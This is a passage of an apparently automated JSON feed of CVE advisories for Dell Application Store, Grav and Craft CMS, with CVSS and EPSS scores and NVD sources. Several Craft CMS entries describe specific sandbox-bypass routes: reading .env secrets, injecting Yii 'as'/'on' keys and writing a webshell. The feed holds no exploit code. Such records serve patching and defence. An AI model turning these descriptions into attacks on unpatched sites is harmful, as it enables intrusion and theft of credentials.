exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-71169","cveId":"CVE-2026-71169","aliases":[],"kind":"vulnerability","title":"Dell Application Store, versions prior to 26.05.0.7, contain an Incorrect Permission Assignment for Critical Resource vulnerability.","summary":"Dell Application Store, versions prior to 26.05.0.7, contain an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Disclosure of sensitive information","detail":"Dell Application Store, versions prior to 26.05.0.7, contain an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Disclosure of sensitive information\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:20:03.053Z","updatedAt":"2026-10-20T17:17:41.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Dell"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71169","asOf":"2026-10-20T17:17:41.250Z"},"epss":{"probability":0.00109,"percentile":0.01247,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-71169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-71169","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71169","type":"primary","publishedAt":"2026-10-19T20:20:03.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-71169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-71169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112782","cveId":"CVE-2026-112782","aliases":[],"kind":"vulnerability","title":"Grav 1.7.53 before 1.7.53.5 and 2.0.0-rc.8 before 2.2.2 contains a resource exhaustion vulnerability that allows anonymous visitors to bypass the system.images.max_pixels limit...","summary":"Grav 1.7.53 before 1.7.53.5 and 2.0.0-rc.8 before 2.2.2 contains a resource exhaustion vulnerability that allows anonymous visitors to bypass the system.images.max_pixels limit when system.images.url_actions is enabled. Attackers can send single-dimension or percentage forceResize, zoomCrop, or chained image actions to make GD allocate multi-gigabyte canvases, exhausting server memory and taking the site down.","detail":"Grav 1.7.53 before 1.7.53.5 and 2.0.0-rc.8 before 2.2.2 contains a resource exhaustion vulnerability that allows anonymous visitors to bypass the system.images.max_pixels limit when system.images.url_actions is enabled. Attackers can send single-dimension or percentage forceResize, zoomCrop, or chained image actions to make GD allocate multi-gigabyte canvases, exhausting server memory and taking the site down.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:55.787Z","updatedAt":"2026-10-20T17:17:31.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112782","asOf":"2026-10-20T17:17:31.717Z"},"epss":{"probability":0.00758,"percentile":0.54938,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112782&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112782","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112782","type":"primary","publishedAt":"2026-10-19T20:17:55.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112782&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112782, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112781","cveId":"CVE-2026-112781","aliases":[],"kind":"vulnerability","title":"Grav from 2.0.0 before 2.2.2 contains an information disclosure vulnerability that allows page editors to read protected configuration by adding config-*@ directives to page...","summary":"Grav from 2.0.0 before 2.2.2 contains an information disclosure vulnerability that allows page editors to read protected configuration by adding config-*@ directives to page frontmatter forms. Attackers with page-edit permission can bypass the Twig sandbox config_denied_paths redaction to expose security.salt, plugin credentials, and Redis passwords to all visitors.","detail":"Grav from 2.0.0 before 2.2.2 contains an information disclosure vulnerability that allows page editors to read protected configuration by adding config-*@ directives to page frontmatter forms. Attackers with page-edit permission can bypass the Twig sandbox config_denied_paths redaction to expose security.salt, plugin credentials, and Redis passwords to all visitors.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:55.633Z","updatedAt":"2026-10-20T16:17:03.247Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112781","asOf":"2026-10-20T16:17:03.247Z"},"epss":{"probability":0.00617,"percentile":0.4927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112781&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112781","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112781","type":"primary","publishedAt":"2026-10-19T20:17:55.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112781&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112781, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112777","cveId":"CVE-2026-112777","aliases":[],"kind":"vulnerability","title":"Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a blocklist bypass in the Twig create() function because its class-name checks are case-sensitive while PHP class...","summary":"Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a blocklist bypass in the Twig create() function because its class-name checks are case-sensitive while PHP class resolution is not. Attackers with template-execution rights, such as Control Panel administrators, can instantiate SplFileObject via a lowercase class name to read .env secrets or write a PHP file into the webroot for remote code execution.","detail":"Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a blocklist bypass in the Twig create() function because its class-name checks are case-sensitive while PHP class resolution is not. Attackers with template-execution rights, such as Control Panel administrators, can instantiate SplFileObject via a lowercase class name to read .env secrets or write a PHP file into the webroot for remote code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:55.043Z","updatedAt":"2026-10-20T17:17:31.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112777","asOf":"2026-10-20T17:17:31.597Z"},"epss":{"probability":0.00612,"percentile":0.48996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112777&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112777","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112777","type":"primary","publishedAt":"2026-10-19T20:17:55.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112777&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112777, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112775","cveId":"CVE-2026-112775","aliases":[],"kind":"vulnerability","title":"Craft CMS from 5.0.0 before 5.11.0 contains an authentication bypass vulnerability that allows attackers to reuse verification codes because users/verify-email does not invalidate...","summary":"Craft CMS from 5.0.0 before 5.11.0 contains an authentication bypass vulnerability that allows attackers to reuse verification codes because users/verify-email does not invalidate them for active users. Attackers who obtain a victim's emailed code can submit it to users/set-password after the victim verifies an email change, resetting the password and taking over the account.","detail":"Craft CMS from 5.0.0 before 5.11.0 contains an authentication bypass vulnerability that allows attackers to reuse verification codes because users/verify-email does not invalidate them for active users. Attackers who obtain a victim's emailed code can submit it to users/set-password after the victim verifies an email change, resetting the password and taking over the account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:54.757Z","updatedAt":"2026-10-22T21:17:16.117Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112775","asOf":"2026-10-22T21:17:16.117Z"},"epss":{"probability":0.00403,"percentile":0.34312,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112775&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112775","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112775","type":"primary","publishedAt":"2026-10-19T20:17:54.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112775&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112775, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112774","cveId":"CVE-2026-112774","aliases":[],"kind":"vulnerability","title":"Craft CMS from 5.8.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated administrators to inject Yii behaviors by supplying a JSON-string field...","summary":"Craft CMS from 5.8.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated administrators to inject Yii behaviors by supplying a JSON-string field layout to ContentBlock::setFieldLayout(). Attackers with allowAdminChanges enabled can include 'as X' or 'on X' keys that bypass cleanseConfig() to execute OS commands as the web user and disclose secrets.","detail":"Craft CMS from 5.8.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated administrators to inject Yii behaviors by supplying a JSON-string field layout to ContentBlock::setFieldLayout(). Attackers with allowAdminChanges enabled can include 'as X' or 'on X' keys that bypass cleanseConfig() to execute OS commands as the web user and disclose secrets.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:54.620Z","updatedAt":"2026-10-20T15:17:14.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112774","asOf":"2026-10-20T15:17:14.397Z"},"epss":{"probability":0.00638,"percentile":0.50263,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112774&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112774","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112774","type":"primary","publishedAt":"2026-10-19T20:17:54.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112774&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112774, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112773","cveId":"CVE-2026-112773","aliases":[],"kind":"vulnerability","title":"Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox by passing uncleansed...","summary":"Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox by passing uncleansed criteria to getNext, getPrev, or getOwners. Attackers can inject Yii \"as\" or \"on\" config keys to attach malicious event handlers that execute when the element query runs, achieving code execution as the web user.","detail":"Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox by passing uncleansed criteria to getNext, getPrev, or getOwners. Attackers can inject Yii \"as\" or \"on\" config keys to attach malicious event handlers that execute when the element query runs, achieving code execution as the web user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:54.480Z","updatedAt":"2026-10-19T22:17:08.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112773","asOf":"2026-10-19T22:17:08.390Z"},"epss":{"probability":0.00712,"percentile":0.53313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112773&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112773","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112773","type":"primary","publishedAt":"2026-10-19T20:17:54.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112773&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112773, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112772","cveId":"CVE-2026-112772","aliases":[],"kind":"vulnerability","title":"Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox via Asset::getMimeType...","summary":"Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox via Asset::getMimeType transforms. Attackers can supply 'as' or 'on' keys passed unfiltered to Craft::createObject, attaching malicious behaviors or event handlers that execute code as the web user.","detail":"Craft CMS from 5.0.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated Control Panel users to escape the Twig sandbox via Asset::getMimeType transforms. Attackers can supply 'as' or 'on' keys passed unfiltered to Craft::createObject, attaching malicious behaviors or event handlers that execute code as the web user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:54.340Z","updatedAt":"2026-10-20T17:17:31.473Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112772","asOf":"2026-10-20T17:17:31.473Z"},"epss":{"probability":0.00712,"percentile":0.53313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112772&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112772","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112772","type":"primary","publishedAt":"2026-10-19T20:17:54.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112772&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112772, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112771","cveId":"CVE-2026-112771","aliases":[],"kind":"vulnerability","title":"Craft CMS 4.0.0 before 4.18.8 and 5.0.0 before 5.11.0 contains a Twig sandbox allowlist bypass because the column, contains, filterByValue, index, where, and multisort filters...","summary":"Craft CMS 4.0.0 before 4.18.8 and 5.0.0 before 5.11.0 contains a Twig sandbox allowlist bypass because the column, contains, filterByValue, index, where, and multisort filters resolve caller-supplied keys via ArrayHelper::getValue() without consulting the sandbox security policy. Authenticated Control Panel users can supply dot-path keys to traverse the craft global and disclose the securityKey, database credentials, and auth tokens.","detail":"Craft CMS 4.0.0 before 4.18.8 and 5.0.0 before 5.11.0 contains a Twig sandbox allowlist bypass because the column, contains, filterByValue, index, where, and multisort filters resolve caller-supplied keys via ArrayHelper::getValue() without consulting the sandbox security policy. Authenticated Control Panel users can supply dot-path keys to traverse the craft global and disclose the securityKey, database credentials, and auth tokens.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:54.203Z","updatedAt":"2026-10-20T16:17:03.003Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112771","asOf":"2026-10-20T16:17:03.003Z"},"epss":{"probability":0.00317,"percentile":0.24445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112771&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112771","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112771","type":"primary","publishedAt":"2026-10-19T20:17:54.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112771&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112771, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112770","cveId":"CVE-2026-112770","aliases":[],"kind":"vulnerability","title":"Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a remote code execution vulnerability in the Twig group filter, which invokes non-string arrow arguments as callables...","summary":"Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a remote code execution vulnerability in the Twig group filter, which invokes non-string arrow arguments as callables without the checkArrow guard used by other arrow-accepting filters. Authenticated control panel users can pass an array-callable such as FileHelper::writeToFile via element-select condition rules to write a webshell to the webroot and execute code as the web user.","detail":"Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a remote code execution vulnerability in the Twig group filter, which invokes non-string arrow arguments as callables without the checkArrow guard used by other arrow-accepting filters. Authenticated control panel users can pass an array-callable such as FileHelper::writeToFile via element-select condition rules to write a webshell to the webroot and execute code as the web user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:54.060Z","updatedAt":"2026-10-22T21:17:15.980Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112770","asOf":"2026-10-22T21:17:15.980Z"},"epss":{"probability":0.00712,"percentile":0.53313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112770&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112770","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112770","type":"primary","publishedAt":"2026-10-19T20:17:54.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112770&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112770, scored 2026-10-25. This is a model estimate, not proof of 